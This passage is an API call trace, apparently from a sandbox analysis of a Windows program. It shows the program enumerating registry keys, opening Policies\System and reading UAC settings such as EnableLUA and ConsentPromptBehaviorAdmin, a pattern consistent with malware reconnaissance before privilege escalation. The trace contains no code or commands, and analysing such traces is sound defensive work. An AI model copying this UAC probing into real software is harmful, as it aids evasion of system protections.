RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x90b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x90b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x90b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x90b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x90b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0041.581] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x90b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0041.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x90c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x90b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x90b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x90c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x90b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x90b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x90c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x90b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0041.582] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x90b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0041.582] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0xa0) returned 0x0 [0041.582] RegCloseKey (hKey=0x24) returned 0x0 [0041.582] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0041.583] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x90b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x90c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0041.583] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x90b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0041.583] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x90b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0041.583] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x90b930, cchName=0x104 | out: lpName="System") returned 0x0 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x90c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0041.583] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0x24) returned 0x0 [0041.583] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b930) returned 1 [0041.583] RegCloseKey (hKey=0xa0) returned 0x0 [0041.583] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b860) returned 1 [0041.583] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90b860 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b878 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b888 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b898 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b930 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90b940 [0041.584] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b860) returned 1 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b860 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b968 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b978 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.584] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b988 [0041.584] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90b998 [0041.585] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b940) returned 1 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b940 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b950 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c360 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9d0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3a8 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9e0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3f0 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c438 [0041.585] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b998) returned 1 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b998 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c480 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9a8 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c4c8 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9b8 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c510 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9f0 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c558 [0041.585] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.585] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.585] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.586] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.586] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.586] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.600] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.600] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.600] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.600] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b878) returned 1 [0041.618] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.619] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b888) returned 1 [0041.621] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.621] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b898) returned 1 [0041.622] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.622] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b930) returned 1 [0041.623] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.625] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x53f854, lpData=0x0, lpcbData=0x53f85c*=0x0 | out: lpType=0x53f854*=0x4, lpData=0x0, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.626] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x53f854, lpData=0x90c438, lpcbData=0x53f85c*=0x4 | out: lpType=0x53f854*=0x4, lpData=0x90c438*=0x1, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.626] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.626] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90b860 [0041.626] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b878 [0041.626] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.626] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.628] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b888 [0041.629] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c438 [0041.630] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.630] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b898 [0041.630] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c558 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b930 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c510 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90b940 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b968 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c480 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b978 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3f0 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, 